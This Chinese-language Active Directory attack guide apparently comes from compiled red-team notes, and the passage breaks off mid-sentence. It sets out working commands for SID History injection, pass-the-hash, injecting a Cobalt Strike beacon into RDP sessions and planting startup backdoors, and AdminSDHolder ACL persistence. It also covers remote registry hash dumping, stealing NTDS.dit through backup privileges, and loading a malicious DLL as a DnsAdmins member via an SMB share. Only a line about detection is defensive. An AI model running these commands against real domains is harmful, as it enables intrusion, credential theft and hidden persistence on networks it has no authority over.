对域控LDAP修改过程中的验证函数进行patch,需要在域控上执行。patch共分为两个步骤,如果仅第一步patch成功的话,那么可以使用sid::add功能,两步都patch成功的话才可以使用sid::modify功能。详细可以查看https://blog.csdn.net/HBohan/article/details/119805869。在一些情况下,只要具有修改SID History属性的权限,并不需要sid::patch就可以直接更改用户的SID History属性。 privilege::debug //或者/new:<Administrator SID> sid::add /sam:man06 /new:administrator 这里我们直接登录成员机的本地管理员用户 使用PTH获得域管理员权限。 sekurlsa::pth /user:adminw /domain:ww1.com /ntlm:0ec4b410903c6dc7594464f27d347497 由于不是域控,发现sid::patch命令运行报错。 这里我们获取到域控的SID,直接修改man06的SID History属性。 sid::add /sam:man06 /new:S-1-5-21-2672614020-1166804175-548711290-500 发现成功添加。 Import-Module activedirectory Get-ADUser man06 -Properties sidhistory //使用powershell查看man06的属性 登录man06账户查看是否具有权限。 发现成功提权,可以用于权限维持或者隐藏。 跨域安全https://zhuanlan.zhihu.com/p/424472286 https://blog.csdn.net/hx_chong/article/details/119809022 RDP Sessions Abuse如果外部组对当前域中的任何计算机具有RDP访问权限,攻击者可以入侵该计算机并等待用户。 一旦该用户通过RDP访问,攻击者就可以转移到该用户的会话,并滥用其在外部域中的权限。 //假设组“外部用户”在当前域中具有RDP访问权限 //让我们找出他们可以访问的位置 //最简单的方法是使用BloodHound,但你也可以运行: Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName //或者 Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName //然后,入侵列出的机器,并等待外部域的某个人登录: net logons Logged on users at \\localhost: EXT\super.admin //通过Cobalt Strike,你可以在RDP进程中注入一个信标(beacon)。 beacon> ps PID PPID Name Arch Session User --- ---- ---- ---- ------- ----- ... 4960 1012 rdpclip.exe x64 3 EXT\super.admin beacon> inject 4960 x64 tcp-local //通过那个信标,你可以直接运行 Powerview 模块,并以该用户的身份与外部域进行交互。 如果用户通过RDP登录到一台被攻击者等待的计算机上,攻击者将能够在用户的RDP会话中注入一个信标(beacon),如果受害者在通过RDP访问时挂载了他的驱动器,攻击者就可以访问它。 在这种情况下,你可以通过在启动文件夹中写入后门来入侵受害者的原始计算机。 # Wait til someone logs in: net logons Logged on users at \\localhost: EXT\super.admin # With cobalt strike you could just inject a beacon inside of the RDP process beacon> ps PID PPID Name Arch Session User --- ---- ---- ---- ------- ----- ... 4960 1012 rdpclip.exe x64 3 EXT\super.admin beacon> inject 4960 x64 tcp-local # There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP. ## \\tsclient\c is the C: drive on the origin machine of the RDP session beacon> ls \\tsclient\c Size Type Last Modified Name ---- ---- ------------- ---- dir 02/10/2021 04:11:30 $Recycle.Bin dir 02/10/2021 03:23:44 Boot dir 02/20/2021 10:15:23 Config.Msi dir 10/18/2016 01:59:39 Documents and Settings [...] # Upload backdoor to startup folder beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup beacon> upload C:\Payloads\pivot.exe 还有很多与RDP相关的利用,可以参考: https://www.freebuf.com/articles/network/276242.html 还可以进行RDP劫持: https://blog.csdn.net/qq_32731075/article/details/119011394 安全描述符安全描述符包含与安全对象关联的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 结构及其关联的安全信息组成。 安全描述符可以包含以下安全信息: 对象的 所有者和主组的安全标识符 (SID) 。一个 DACL ,指定允许或拒绝的特定用户或组的访问权限。一个 SACL,指定为对象生成审核记录的访问尝试的类型。一组控制位,用于限定安全描述符或其单个成员的含义。应用程序不得直接操作安全描述符的内容。 Windows API 提供用于在对象的安全描述符中设置和检索安全信息的函数。 此外,还有用于为新对象创建和初始化安全描述符的函数。 安全描述符定义语言(SDDL)定义了描述安全描述符的格式。SDDL使用ACE字符串来表示DACL和SACL的: ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid; 安全描述符用于存储对象对另一个对象的权限。如果你可以对一个对象的安全描述符进行微小的更改,你可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。 因此,这种持久性技术基于能够获得对某些对象所需的每个权限的能力,以便能够执行通常需要管理员权限但无需管理员身份的任务。 WMI 权限 使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行 WMI 的权限: Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove WinRM权限 使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行WinRM 的权限: Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove 转储哈希权限 使用工具DAMP访问注册表并转储哈希(hash),创建一个注册表后门,这样你可以随时检索计算机的哈希,SAM和计算机中缓存的任何AD凭据。因此,将这个权限赋予普通用户对于域控制器计算机非常有用: https://github.com/HarmJ0y/DAMP //允许远程检索系统的计算机和本地帐户哈希,以及其域中缓存的凭据。 Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose //滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地机器帐户哈希。 Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose //滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地SAM帐户哈希。 Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose //滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的域缓存凭据。 Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose 特权组已知具有管理权限的组 AdministratorsDomain AdminsEnterprise Admins在安全评估中,还可以通过链接多个攻击向量来利用其他帐户成员资格和访问令牌权限。 Account Operators账号操作员组,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器,但是,不能更改属于 Administrators 或 Domain Admins 组的账户,也不能修改这些组。在默认情况下,该组中没有成员。 允许在域上创建非管理员帐户和组允许本地登录DCpowershell -exec bypass Import-Module .\PowerView.ps1 Get-NetGroupMember -Identity "Account Operators" -Recurse 直接查看该用户信息 net user man06 /domain 允许在域上创建非管理员帐户和组 允许本地登录DC AdminSDHolder groupAdminSDHolder对象的访问控制列表(ACL)用作将权限复制到Active Directory中的所有“受保护组”及其成员的模板。受保护组包括特权组,如域管理员、管理员、企业管理员和架构管理员。 默认情况下,此组的ACL被复制到所有“受保护组”中。这样做是为了避免对这些关键组进行有意或意外的更改。然而,如果攻击者修改了AdminSDHolder组的ACL,例如给定一个普通用户完全权限,该用户将在受保护组内的所有组上具有完全权限(在60分钟后)。 AdminSDHolder对象的目的是为域内受保护的用户和组提供权限的“模板”,其在LDAP上的路径为: CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component> AdminSDHolder由Domain Admins组拥有,默认情况下,EA可以对任何域的AdminSDHolder对象进行更改,域的Domain Admins和Administrators组也可以进行更改。 尽管AdminSDHolder的默认所有者是域的Domain Admins组,但是Administrators或Enterprise Admins的成员可以获取该对象的所有权。 SDProp SDProp是一个进程,该进程每60分钟(默认情况下)在包含域的PDC模拟器(PDCE)的域控制器上运行 SDProp将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较。如果任何受保护帐户和组的权限与AdminSDHolder对象的权限不匹配,则将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,这也是为什么修改了用户对AdminSDHolder组的ACL后,还需要等待60分钟的原因。 利用 既然默认每60分钟SDProp会将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配,那么我们完全可以对AdminSDHolder添加ACL来留后门。 添加ACL**使用****PowerView工具** powershell -exec bypass Import-Module .\PowerView.ps1 Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=ww1,DC=com' -PrincipalIdentity man08 -Rights All 使用Admod工具 Admod.exe -b "CN=AdminSDHolder,CN=System,DC=ww1,DC=com" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;ww1\man08)}" 修改了AdminSDHolder组的ACL之后,我们发现man08用户还是不具备高权限的。 因为SDProp还没有将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较并修改。这里我们可以选择等待60分钟,或者直接修改执行间隔或者直接执行进行权限提升操作。 快速的执行SDProp修改默认时间 如果需要修改60min的执行时间间隔,只需要在注册表中添加或修改AdminSDProtectFrequency的值。 HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 该值的范围是从60到7200,单位为秒,键类型为DWORD。 可以直接使用命令行更改: reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600 如果需要恢复为默认的60min,则可以在注册表中删除AdminSDProtectFrequency这一项。 也可以使用一个PowerShell脚本。 https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1 手动执行 启动Ldp.exe,然后选择菜单栏中“连接”-> “连接”。 选择菜单栏菜单栏中“连接”->”绑定“。 选择菜单栏菜单栏中“浏览”->“修改”。 在修改窗口这里针对不同版本的域控制器有不同的情况: 域控为Windows Server 2008: 将“DN”字段留空。在“编辑条目属性”字段中,输入FixUpInheritance,在“值”字段中,输入Yes。单击输入填充条目列表。域控为Windows Server 2008 R2或Windows Server 2012之后的版本: 将“DN”字段留空。在“编辑条目属性”字段中,输入RunProtectAdminGroupsTask,在“值”字段中,输入1。单击输入填充条目列表。点击“输入”->”运行“。 运行成功后,发现已经拥有了高权限。 防御与检测该攻击手法的核心点在于需要修改AdminSDHolder的ACL,因此我们只需要检测对AdminSDHolder的ACL的修改行为即可,可以通过5136日志来监控。 AD Recycle Bin//这不是powerview命令,而是Microsoft的AD管理powershell模块中的一项功能,您需要在AD的“AD回收站”组中才能列出已删除的AD对象 Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * 在Windows 2008或Windows 2003中,你必须用备份恢复的方法才能恢复一个被误删的AD对象。这个方法非常麻烦。现在,Windows 2008 R2引入一个新的功能:AD Recycle Bin。就如同普通的回收站一样,这个工具暂时保留了被删除对象,你可以随时从回收站中取回。 需要注意的几点注意事项: 这是Windows 2008 R2才有的新功能。这个功能默认是关闭的;必须手动启动。启用AD回收站的这个操作不可逆转(irrersible),也就是说,Enable之后不能Disable。只能通过Restore AD环境来恢复。要启用,AD必须升级到2008 R2 level (升级AD level必须在企业管理员权限下用adprep命令)。启用时,所有启用前被删除的AD对象都会被转换成recyled对象,在deleted objects容器中将不能找到它们。要恢复这些对象,唯一的方法就是通过AD备份的恢复,将AD环境恢复到启用之前。启用后,删除的AD对象变成了一个Deleted对象,Delete对象可以恢复。一段时间后,Delete对象的生命周期结束,就会转变成Recycled对象,这些对象不再能被恢复。最终通过Garbage收集的方法被删除掉。 启用AD Recycle Bin的方法,参见文档 http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx 恢复AD对象,可以用Powershell命令。 这里推荐一个免费的小工具,它提供了一个很简单易用的GUI ADRecycleBin.exe http://www.overall.ca/index.php?option=com_docman&task=doc_download&gid=68&Itemid=11 参考连接: What's New in AD DS: Active Directory Recycle Bin http://technet.microsoft.com/en-us/library/dd391916(WS.10).aspx Active Directory Recycle Bin Step-by-Step Guide http://technet.microsoft.com/en-us/library/dd392261(WS.10).aspx Server OperatorsServer Operators是域控的本地组,其组员拥有管理域控制器的权利,例如在域控制器上登录域;建立、管理、删除域控制器上的共享文件夹与共享打印机;备份与还原文件;锁定与解开域控制器;将域控制器上的硬盘格式化;更改系统的时间;将域控制器关闭等。 此成员资格允许用户使用以下权限配置域控制器: 允许本地登录备份文件和目录更改系统时间更改时区从远程系统强制关闭恢复文件和目录关闭系统SeBackupPrivilege 和 SeRestorePrivilegehttps://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#serestoreprivilege-3.1.5 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#sebackupprivilege-3.1.4 控制本地服务当用户没有加入Server Operators组时,无法访问域控的资源。 将该用户加入Server Operators组,发现权限提升。 Get-NetGroupMember -Identity "Server Operators" -Recurse Privesc使用来自Sysinternals的PsService(PsTools)或sc工具来检查服务的权限。 https://learn.microsoft.com/en-us/sysinternals/downloads/psservice C:\> .\PsService.exe security AppReadiness PsService v2.25 - Service information and configuration utility Copyright (C) 2001-2010 Mark Russinovich Sysinternals - www.sysinternals.com [...] [ALLOW] BUILTIN\Server Operators All 这确认了Server Operators组具有SERVICE_ALL_ACCESS访问权限,这使我们能够完全控制此服务。 您可以滥用此服务,使该服务执行任意命令并提升权限。 Backup Operators与Server Operators成员身份一样,如果我们属于Backup Operators,则可以访问域控的文件系统。 Backup Operators组授予其成员SeBackup和SeRestore特权。 SeBackupPrivilege使我们能够遍历任何文件夹并列出文件夹内容。这将让我们从文件夹中复制文件,即使没有其他权限也可以执行。 然而,为了滥用此权限来复制文件,则必须使用标志FILE_FLAG_BACKUP_SEMANTICS ****。因此需要使用特殊工具。 https://github.com/giuliano108/SeBackupPrivilege # Import libraries Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup SeBackupPrivilege is disabled # Enable SeBackupPrivilege Set-SeBackupPrivilege Get-SeBackupPrivilege # List Admin folder for example and steal a file dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Overwrite 当然,也可以滥用这个访问权限来窃取活动目录数据库NTDS.dit,以获取域中所有用户和计算机对象的所有NTLM散列值。 使用diskshadow工具,您可以在C盘(或其他位置)创建一个卷影副本,例如在F盘上。然后,您可以从该卷影副本中窃取NTDS.dit文件,因为系统不会使用它。 https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow diskshadow.exe Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: DC, 10/14/2020 10:34:16 AM DISKSHADOW> set verbose on DISKSHADOW> set metadata C:\Windows\Temp\meta.cab DISKSHADOW> set context clientaccessible DISKSHADOW> set context persistent DISKSHADOW> begin backup DISKSHADOW> add volume C: alias cdrive DISKSHADOW> create DISKSHADOW> expose %cdrive% F: DISKSHADOW> end backup DISKSHADOW> exit 再使用上面的方法,获取访问文件的权限后,提取ntds.dit。 Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit 或者使用另一种方式复制文件,当然前提是SeBackupPrivilege功能为开启状态。 robocopy /B F:\Windows\NTDS .\ntds ntds.dit reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SAM SAM.SAV secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL DnsAdmins属于DNSAdmins组或具有对DNS服务器对象的写权限的用户可以使用SYSTEM特权在DNS服务器上加载任意DLL。大部分情况下DNS服务器也是建立在域控机器上。 根据这篇文章所示,当DNS运行在域控制器上时(这是非常常见的情况),可以执行以下攻击: DNS管理是通过RPC进行的。ServerLevelPluginDll允许我们加载一个自定义的DLL,并且不验证DLL路径。可以使用命令行工具dnscmd来完成此操作。当DnsAdmins组的成员运行下面的dnscmd命令时,注册表键将被填充。HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll 当DNS服务重新启动时,将加载该路径中的DLL(例如,域控制器的机器帐户可以访问的网络共享)。攻击者可以加载一个自定义的DLL以获取反向shell,甚至加载像Mimikatz这样的工具作为DLL来转储凭据。如前所述,我们需要构建一个 DNS 插件 DLL,将其注入到受害者 DNS 服务器 (DC) 上的 dns.exe 进程中。 如果您在 DNSAdmins 组中有一个用户,则可以使 DNS 服务器使用 SYSTEM 特权加载任意 DLL(DNS 服务以 NT AUTHORITY\SYSTEM 运行)。您可以通过执行以下命令使 DNS 服务器加载本地或远程(通过 SMB 共享的)DLL 文件。 dnscmd是一个 Windows 实用程序,允许有DnsAdmins权限的人管理 DNS 服务器。可以通过添加DNS Server Tools到您的系统来安装该实用程序,如下面的屏幕截图所示。 //dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll //dnscmd [dc.computername] /config /serverlevelplugindll \1.2.3.4\share\DNSAdmin-DLL.dll //注意,远程加载DLL不能使用$符号进行加载,例如\\10.10.10.10\c$\1.dll,这样是无法成功加载的。 示例DLL:https://github.com/kazkansouh/DNSAdmin-DLL 修改恶意代码为如下。 加载DLL。 dnscmd ad-1-2016 /config /serverlevelplugindll \\10.10.10.106\c$\Users\man12\Desktop\DNSAdmin-DLL.dll 在默认情况下在 DNSAdmin 组中具有用户,也无法停止和重新启动 DNS 服务。但您可以尝试执行如下命令。 sc.exe \\ad-1-2016 stop dns sc.exe \\ad-1-2016 start dns 提权成功后可以清除DNSAdminis后门。 reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll sc.exe \\10.0.0.6 stop dns sc.exe \\10.0.0.6 start dns //remove any other traces/logs 当然,也可以使用 msfvenom 生成 dll,弹shell到目标机器,或者执行命令。 msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll mimilib.dll 正如下面这篇文章中详细描述的那样,还可以使用 Mimikatz 工具的创建者提供的 mimilib.dll 来修改 kdns.c 文件,以执行逆向 shell 或其他我们选择的命令来获取命令执行权限。 http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html 中间人攻击的 WPAD 记录 滥用 DnsAdmins 组权限的另一种方式是创建一个 WPAD 记录。 https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks https://learn.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps 在该组中的成员具有禁用全局查询阻止安全性的权限,而默认情况下会阻止此类攻击。Server 2008 首次引入了在 DNS 服务器上添加到全局查询阻止列表的功能。默认情况下,Web 代理自动发现协议(WPAD)和站内自动隧道寻址协议(ISATAP)在全局查询阻止列表中。这些协议非常容易被劫持,任何域用户都可以创建包含这些名称的计算机对象或 DNS 记录。 在禁用全局查询阻止列表并创建 WPAD 记录之后,使用默认设置运行 WPAD 的每台计算机的流量都将通过我们的攻击机器进行代理。我们可以使用工具如 Responder 或 Inveigh 进行流量欺骗,并尝试捕获密码哈希并在离线状态下破解,或者进行 SMBRelay 攻击。 https://github.com/lgandx/Responder https://github.com/Kevin-Robertson/Inveigh Event Log ReadersEvent Log Readers组的成员具有访问生成的事件日志(例如新进程创建日志)的权限。在这些日志中可能包含敏感信息。让我们来看看如何可视化这些日志。 Get members of the groupGet-NetGroupMember -Identity "Event Log Readers" -Recurse Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Event Log Readers" # To find "net [...] /user:blahblah password" wevtutil qe Security /rd:true /f:text | Select-String "/user" # Using other users creds wevtutil qe Security /rd:true /f:text /r:share01 /u:<username> /p:<pwd> | findstr "/user" # Search using PowerShell Get-WinEvent -LogName security [-Credential $creds] | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }} Exchange Windows PermissionsExchange Windows Permissions是指Exchange在Windows环境中的权限。成员被授予编写DACL(Discretionary Access Control List)到域对象的权限。攻击者可以滥用这一权限,赋予用户DCSync特权。 如果在AD环境中安装了Microsoft Exchange,通常会发现用户帐户甚至计算机作为该组的成员。 这个GitHub存储库解释了滥用这个组权限来提升权限的一些技术。 https://github.com/gdedrouas/Exchange-AD-Privesc Get members of the groupGet-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse Hyper-V Administratorshttps://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell Hyper-V管理员组对所有Hyper-V功能具有完全访问权限。如果域控制器已经虚拟化,那么虚拟化管理员应被视为域管理员。他们可以轻松创建一个实时域控制器的克隆,并以离线方式挂载虚拟磁盘以获取NTDS.dit文件,并提取域中所有用户的NTLM密码哈希。 https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/ 在这个博客上也有详细文档说明,当删除一个虚拟机时,vmms.exe会尝试以NT AUTHORITY\SYSTEM身份恢复相应的.vhdx文件的原始文件权限,而无需模拟用户。我们可以删除.vhdx文件,并创建一个本地的硬链接,将此文件指向一个受保护的SYSTEM文件,从而获得完全权限。 如果操作系统存在CVE-2018-0952或CVE-2019-0841漏洞,我们可以利用其来获取SYSTEM特权。否则,我们可以尝试利用服务器上安装了以SYSTEM上下文运行的服务的应用程序,这些服务可被非特权用户启动。 利用示例 一个例子是Firefox,它安装了Mozilla Maintenance Service。我们可以更新这个漏洞(一个用于NT硬链接的概念证明),以授予当前用户对以下文件的完全权限: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe 获取文件所有权 运行PowerShell脚本后,我们应该对此文件拥有完全控制权,并可以获取其所有权。 C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe 启动Mozilla Maintenance Service 接下来,我们可以使用一个恶意的maintenanceservice.exe替换这个文件,启动维护服务,并以SYSTEM身份执行命令。 C:\htb> sc.exe start MozillaMaintenance 注意:这个漏洞已通过2020年3月的Windows安全更新进行了缓解,该更新改变了与硬链接相关的行为。 Organization Management该组也存在安装了Microsoft Exchange的环境中。 该组的成员可以访问所有域用户的邮箱。 该组还对名为Microsoft Exchange Security Groups的OU具有完全控制权限,其中包含了组Exchange Windows Permissions。 Print Operators该组的成员被授予以下权限: SeLoadDriverPrivilege在本地登录到域控制器并关闭它管理、创建、共享和删除连接到域控制器的打印机的权限如果从非提升的上下文中运行 whoami /priv 命令未显示 SeLoadDriverPrivilege,则需要绕过UAC。 获取该组的成员。 Get-NetGroupMember -Identity "Print Operators" -Recurse 请在此页面中查看如何滥用 SeLoadDriverPrivilege 进行权限提升: https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege Remote Desktop Users此组的成员可以通过RDP访问PC。 获取组成员。 Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users" https://book.hacktricks.xyz/network-services-pentesting/pentesting-rdp Remote Management Users此组的成员可以通过WinRM访问PC。 Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users" https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm Kerberos双跳问题Kerberos双跳是用来描述我们在两个或多个连接上维护客户端Kerberos身份验证凭据的方法。通过这种方式,我们可以保留用户的凭据,并代表用户在与其他服务器进行进一步连接时进行操作。 Kerberos TGT是用户的身份标识。当我们将该票证与服务票证一起传递时,我们可以重新使用KrbTGT请求其他服务票证,以便在我们的网络上与我们的服务资源进行通信。 执行Kerberos双跳需要满足一些要求。服务账户需要被信任以进行委派,也就是说它必须被信任代表其他用户执行操作。源服务器和目标服务器必须在同一个域中,或者在不同域之间存在森林级别的信任关系,并且第一级服务账户必须位于受信任的域根目录中。 Kerberos双跳流程: 第一步 - 客户端提供凭据,域控制器向客户端返回一个Kerberos TGT(票证授予票)。 第二步 - 客户端使用TGT请求一个服务票证,以连接到服务器1。 第三步 - 客户端连接到服务器1,并提供TGT和服务票证。 第四步 - 服务器1使用客户端的TGT请求一个服务票证,以便服务器1可以连接到服务器2。 第五步 - 服务器1使用客户端的凭据连接到服务器2。 也就是说,当我们使用凭据,例如使用powershell进行远程连接机器A,然后在机器A上直接使用之前验证的凭据访问服务B。 具体实例: 客户端运行IE7,并连接到一个使用Windows身份验证的Web服务器。客户端机器需要是域或受信任域的成员,并且需要启用集成的Windows身份验证。 Web服务器机器名为WEB1.mydomain.com,并且使用一个服务账户mydomain\webadmin。webadmin账户已经为HTTP/WEB1和HTTP/WEB1.mydomain.com注册了SPN(服务主体名称)。webadmin账户已经启用了对MSSQLSVC/SQL1.mydomain.com的受限委派。 SQL服务器的机器名为SQL1.mydomain.com,其SQL服务的服务账户为mydomain\sqladmin。sqladmin账户已经为MSSQLSVC/SQL1.mydomain.com注册了SPN。 在上述示例配置中,客户端正在连接http://web1,以便访问存储在后端SQL服务器SQL1上的数据。Web页面托管了从SQL检索数据的代码。用户账户用于对Web服务器进行身份验证。Web服务器利用其受限委派功能,代表用户请求Kerberos票证,以连接到SQL1。如果我们审计这些连接,我们将看到用户账户被用于访问Web页面和SQL服务器上的数据。这是一个典型的Kerberos双跳的示例,但我们可以很容易地扩展该场景以包含更多的跳转。理论上,只要我们启用了委派并保留了正确的服务主体名称注册,我们可以不断扩展这个示例。 双跳问题使用2016-WSUS机器使用管理员账户远程连接WEB-2012机器,再使用之前认证的凭据连接AD-2016。 //交互式 Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator //非交互 Invoke-Command-ComputerName <计算机名或IP地址> -Credential <凭据> -ScriptBlock { # 在此处输入您要在远程主机上执行的命令 } 直接使用该凭据连接AD-2016,发现拒绝访问。 因为当通过Kerberos进行身份验证时,凭据不会缓存在内存中。因此,当 web-2012 中的 User1 尝试登录第二台服务器时,他无法进行身份验证。 解决办法非约束委派如果机器中启用了无约束委派,则不会发生这种情况,因为服务器将获取每个访问它的用户的TGT。 CredSSP根据微软的说法: “CredSSP身份验证将用户凭据从本地计算机委派到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机受到入侵,当凭据传递给它时,这些凭据可以用于控制网络会话。” 如果您发现在生产系统、敏感网络等地方启用了CredSSP,建议将其禁用。可以通过运行Get-WSManCredSSP来快速检查CredSSP的状态。如果启用了WinRM,还可以远程执行此命令。 查看CredSSP的状态。 Invoke-Command -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator -ScriptBlock { Get-WSManCredSSP } 利用命令: https://learn.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7.3 开启CredSSP。 Enable-WSManCredSSP -Role "Client" -DelegateComputer "web-2012.vvvv1.com" Enable-WSManCredSSP -Role "Server" 添加参数-Authentication Credssp,使用Credssp进行认证。 https://blog.idera.com/database-tools/solving-double-hop-remoting-with-credssp Invoke-Command -ComputerName web-2012.vvvv1.com -Authentication Credssp -Credential VVVV1\administrator -ScriptBlock {dir \\ad-2016.vvvv1.com\c$ } 禁用WSMan CredSSP。 Disable-WSManCredSSP -Role Client Disable-WSManCredSSP -Role Server 调用命令其实这就是一个嵌套的Invoke-Command。 这将在第二台服务器上运行:hostname。 $cred=Get-Credential VVVV1\administrator Invoke-Command -ComputerName web-2012.vvvv1.com -Credential $cred -ScriptBlock{ Invoke-Command -ComputerName ad-2016.vvvv1.com -Credential $Using:cred -ScriptBlock{hostname} } 或者与第一个服务器建立PS-Session ,然后简单地从那里运行而不是嵌套它。相当于连接到第一个服务器后再保存一个可用的凭据。 # From the WinRM connection $pwd = ConvertTo-SecureString 'admin!@#45ad' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential('VVVV1\administrator', $pwd) # Use "-Credential $cred" option in Powerview commands 注册会话配置Enter-PSSession -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator # Register a new PS Session configuration //在server1上运行 Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential VVVV1\administrator # Restar WinRM Restart-Service WinRM # Get a PSSession Enter-PSSession -ConfigurationName doublehopsess -ComputerName web-2012.vvvv1.com -Credential VVVV1\administrator # Check that in this case the TGT was sent and is in memory of the PSSession //凭据被绑定到内存中。 klist # In this session you won't have the double hop problem anymore 端口代理https://posts.slayerlabs.com/double-hop/ 因为我们在中间目标机器 bizintel: 10.35.8.17 上有本地管理员权限,所以可以添加一个端口转发规则,将您的请求发送到最终/第三台服务器 secdev: 10.35.8.23。 您可以使用 netsh 快速提取一个单行命令并添加规则。 netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23 这样 bizintel 将监听端口 5446,并将收到的请求转发到 secdev 的端口 5985(也称为 WinRM)。 然后打开 Windows 防火墙的端口,也可以使用快速 netsh 命令完成。 netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446 现在建立会话,这将将我们转发到 secdev。 当使用 winrs.exe 时,端口转发 WinRM 请求似乎也是有效的。如果您意识到 PowerShell 正在被监控,这可能是一个更好的选择。下面的命令将返回 "secdev" 作为主机名的结果。 winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname 与 Invoke-Command 类似,这可以很容易地编写脚本,以便攻击者可以将系统命令作为参数发出。一个通用的批处理脚本示例 winrm.bat: OpenSSH这种方法需要在中间服务器(即 bizintel)上安装 OpenSSH。在 Windows 上安装 OpenSSH 可以完全通过命令行界面进行,并且不需要太多时间 - 而且它不会被标记为恶意软件! https://github.com/PowerShell/Win32-OpenSSH/wiki/Install-Win32-OpenSSH 当然,在某些情况下,这可能不可行、过于繁琐或可能存在一般的操作安全风险。 在跳板机设置上,这种方法可能特别有用 - 可以访问否则无法访问的网络。建立 SSH 连接后,用户/攻击者可以根据需要启动尽可能多的 New-PSSession 来针对分段网络进行操作,而不会遭遇双跳问题。 当在 OpenSSH 中配置为使用密码身份验证时(而不是密钥或票证),登录类型为 8,即网络明文登录。这并不意味着您的密码以明文形式发送 - 实际上,它是通过 SSH 